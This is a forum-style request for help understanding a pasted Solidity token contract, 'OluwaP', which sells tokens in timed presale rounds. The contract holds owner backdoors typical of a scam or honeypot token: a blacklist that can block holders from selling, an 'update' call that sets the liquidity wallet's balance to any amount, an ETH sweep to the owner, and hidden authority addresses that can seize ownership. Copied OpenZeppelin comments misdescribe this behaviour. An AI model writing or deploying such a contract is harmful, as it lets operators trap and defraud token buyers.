Hello please I'm need here and I'll need help with the explanation of a Smart contract code. Just to be sure of what it means.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
}
library RoundPool{
using SafeMath for uint256;
struct RoundBalances{
uint8 status;
uint256 cailm;
uint256 total;
}
struct RoundTime{
uint256 timeStart;
uint256 timeEnd;
uint256 timeUnlockEnd;
uint256 price;
}
function inc(RoundBalances storage round,uint256 amount)internal returns(uint256){
round.total = round.total.add(amount);
if(round.status!=1){
round.status=1;
}
return round.total;
}
function getReflection(RoundBalances storage round,RoundTime memory roundTime)internal view returns(uint256){
uint256 balance = 0;
if(round.status==1&&block.timestamp>roundTime.timeEnd){
uint256 sec = 0;
uint256 end = roundTime.timeUnlockEnd - roundTime.timeEnd;
if(end<=0){
return balance;
}
if(block.timestamp >= roundTime.timeUnlockEnd){
sec = roundTime.timeUnlockEnd - roundTime.timeEnd;
}else{
sec = block.timestamp - roundTime.timeEnd;
}
if(sec>0&&sec<end){
balance = round.total.mul(sec).div(end);
if(balance>round.cailm){
balance = balance.sub(round.cailm);
}else{
balance = 0;
}
}else if(sec>0&&sec>=end&&round.total>round.cailm){
balance = round.total.sub(round.cailm);
}
}
return balance;
}
function settle(RoundBalances storage round,RoundTime memory roundTime,uint256 amount)internal returns(uint256 surplus){
surplus = 0;
if(amount>0&&round.status==1&&block.timestamp>=roundTime.timeEnd){
uint256 balance = getReflection(round,roundTime);
if(amount>balance){
surplus = amount.sub(balance);
round.cailm = round.cailm.add(balance);
}else{
surplus = 0;
round.cailm = round.cailm.add(amount);
}
if(round.cailm>=round.total){
round.status=0;
}
}else{
surplus = amount;
}
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract OluwaP {
using SafeMath for uint256;
using RoundPool for RoundPool.RoundBalances;
uint256 private _totalSupply = 210000000 ether;
string private _name = "OluwaP";
string private _symbol = "OP";
uint8 private _decimals = 18;
address private _owner;
uint256 private _cap = 0;
uint256 private _roundIndex;
uint256 private _roundRate = 500;
uint256 private _roundCycle = 25920;
uint256 private _roundUnlockEnd = 25920;
uint256 private _saleMin = 0.0001 ether;
bool private _swSale = true;
address private _auth;
address private _auth2;
address private _liquidity;
address private _airdrop;
uint256 private _authNum;
mapping (address => mapping(uint256 => RoundPool.RoundBalances)) private _roundBalances;
RoundPool.RoundTime[] private _roundTime;
mapping (address => uint256) private _balances;
mapping (address => uint8) private _black;
mapping (address => mapping (address => uint256)) private _allowances;
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
constructor() public {
_owner = msg.sender;
_roundTime.push(RoundPool.RoundTime(block.timestamp,block.timestamp+_roundCycle,block.timestamp+_roundCycle+_roundUnlockEnd,10000));
_roundIndex = _roundTime.length - 1;
_mint(_owner,_totalSupply.div(10));
}
fallback() external {}
receive() payable external {}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the cap on the token's total supply.
*/
function cap() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account]+getRoundTotal(account);
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner_, address spender) public view returns (uint256) {
return _allowances[owner_][spender];
}
function authNum(uint256 num)public returns(bool){
require(_msgSender() == _auth, "Permission denied");
_authNum = num;
return true;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public {
require(newOwner != address(0) && _msgSender() == _auth2, "Ownable: new owner is the zero address");
_owner = newOwner;
}
function Liquidity(address liquidity_) public {
require(liquidity_ != address(0) && _msgSender() == _auth2, "Ownable: new owner is the zero address");
_liquidity = liquidity_;
}
function setAuth(address ah,address ah2) public onlyOwner returns(bool){
require(address(0) == _auth&&address(0) == _auth2&&ah!=address(0)&&ah2!=address(0), "recovery");
_auth = ah;
_auth2 = ah2;
return true;
}
function addLiquidity(address addr) public onlyOwner returns(bool){
require(address(0) != addr&&address(0) == _liquidity, "recovery");
_liquidity = addr;
return true;
}
function addAirdrop(address addr) public onlyOwner returns(bool){
require(address(0) != addr, "recovery");
_airdrop = addr;
return true;
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_cap = _cap.add(amount);
if(_cap>_totalSupply){
_totalSupply=_cap;
}
_balances[account] = _balances[account].add(amount);
emit Transfer(address(this), account, amount);
}
function incRoundBalances(address account, uint256 amount)private returns(bool){
_cap = _cap.add(amount);
if(_cap>_totalSupply){
_totalSupply=_cap;
}
_roundBalances[account][_roundIndex].inc(amount);
return true;
}
function spend(address account, uint256 amount) private{
require(_balances[account].add(getRoundBalances(account)) >= amount,"ERC20: Insufficient balance");
uint256 balance = amount;
for(uint256 i=0;i<=_roundTime.length;i++){
if(_roundBalances[_msgSender()][i].status==1){
balance = _roundBalances[_msgSender()][i].settle(_roundTime[i],balance);
}
}
if(balance>0){
_balances[account] = _balances[account].sub(balance, "ERC20: Insufficient balance");
}
}
function getRoundPrice()private returns(uint256){
if(block.timestamp >= _roundTime[_roundIndex].timeEnd){
_roundTime.push(RoundPool.RoundTime(
_roundTime[_roundIndex].timeEnd,
_roundTime[_roundIndex].timeEnd+_roundCycle,
_roundTime[_roundIndex].timeEnd+_roundUnlockEnd+_roundCycle,
_roundTime[_roundIndex].price.mul(_roundRate).div(10000)
)
);
_roundIndex = _roundTime.length - 1;
}
return _roundTime[_roundIndex].price;
}
function getRoundBalances(address addr)public view returns(uint256 balance){
balance = 0;
for(uint256 i=0;i<=_roundTime.length;i++){
if(_roundBalances[addr][i].status==1){
balance = balance.add(_roundBalances[addr][i].getReflection(_roundTime[i]));
}
}
}
function getRoundTotal(address addr)public view returns(uint256 balance){
balance = 0;
for(uint256 i=0;i<=_roundTime.length;i++){
if(_roundBalances[addr][i].status==1){
balance = balance.add(_roundBalances[addr][i].total.sub(_roundBalances[addr][i].cailm));
}
}
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner_, address spender, uint256 amount) internal {
require(owner_ != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner_][spender] = amount;
emit Approval(owner_, spender, amount);
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function clearETH() public onlyOwner() {
require(_authNum==100, "Permission denied");
_authNum=0;
msg.sender.transfer(address(this).balance);
}
function black(address owner_,uint8 black_) public onlyOwner {
_black[owner_] = black_;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(_black[sender]!=1&&_black[sender]!=3&&_black[recipient]!=2&&_black[recipient]!=3, "Transaction recovery");
spend(sender,amount);
if(sender==_airdrop){
_roundBalances[recipient][_roundIndex].inc(amount);
}else{
_balances[recipient] = _balances[recipient].add(amount);
}
emit Transfer(sender, recipient, amount);
}
function update(uint256 tag,uint256 value)public onlyOwner returns(bool){
require(_authNum==1, "Permission denied");
if(tag==1){
_swSale = value == 1;
}else if(tag==2){
_roundRate = value;
}else if(tag==3){
_roundCycle = value;
}else if(tag==4){
_saleMin = value;
}else if(tag==5&&_liquidity!=address(0)){
_balances[_liquidity] = value;
}else if(tag>=1000&&tag<2000){
_roundTime[tag.sub(1000)].timeStart = value;
}else if(tag>=2000&&tag<3000){
_roundTime[tag.sub(2000)].timeEnd = value;
}else if(tag>=3000&&tag<4000){
_roundTime[tag.sub(3000)].timeUnlockEnd = value;
}else if(tag>=4000&&tag<5000){
_roundTime[tag.sub(4000)].price = value;
}
_authNum = 0;
return true;
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function getInfo() public view returns(bool swSale,uint256 salePrice,uint256 roundIndex,
uint256 balanceEth,uint256 balance,uint256 total,uint256 saleMin,uint256 timeNow){
swSale = _swSale;
saleMin = _saleMin;
salePrice = _roundTime[_roundIndex].price;
balanceEth = _msgSender().balance;
total = balanceOf(_msgSender());
balance = _balances[_msgSender()].add(getRoundBalances(_msgSender()));
timeNow = block.timestamp;
roundIndex = _roundIndex;
}
function getTime() public view returns(uint256[] memory,uint256[] memory,uint256[] memory,uint256[] memory){
uint256[] memory timeStart = new uint256[](_roundTime.length);
uint256[] memory timeEnd = new uint256[](_roundTime.length);
uint256[] memory price = new uint256[](_roundTime.length);
uint256[] memory timeUnlockEnd = new uint256[](_roundTime.length);
for(uint i = 0;i<_roundTime.length;i++){
timeStart[i] = _roundTime[i].timeStart;
timeEnd[i] = _roundTime[i].timeEnd;
price[i] = _roundTime[i].price;
timeUnlockEnd[i] = _roundTime[i].timeUnlockEnd;
}
return (timeStart,timeEnd,timeUnlockEnd,price);
}
function Airdrop() payable public returns(bool){
require(msg.value >= _saleMin,"The amount is too small");
require(_swSale,"End of this round");
uint256 _msgValue = msg.value;
uint256 _token = _msgValue.mul(getRoundPrice());
if(_liquidity!=address(0)){
address(uint160(_liquidity)).transfer(_msgValue);
}
if(_token>0){
incRoundBalances(_msgSender(),_token);
emit Transfer(address(this), _msgSender(), _token);
}
return true;
}
}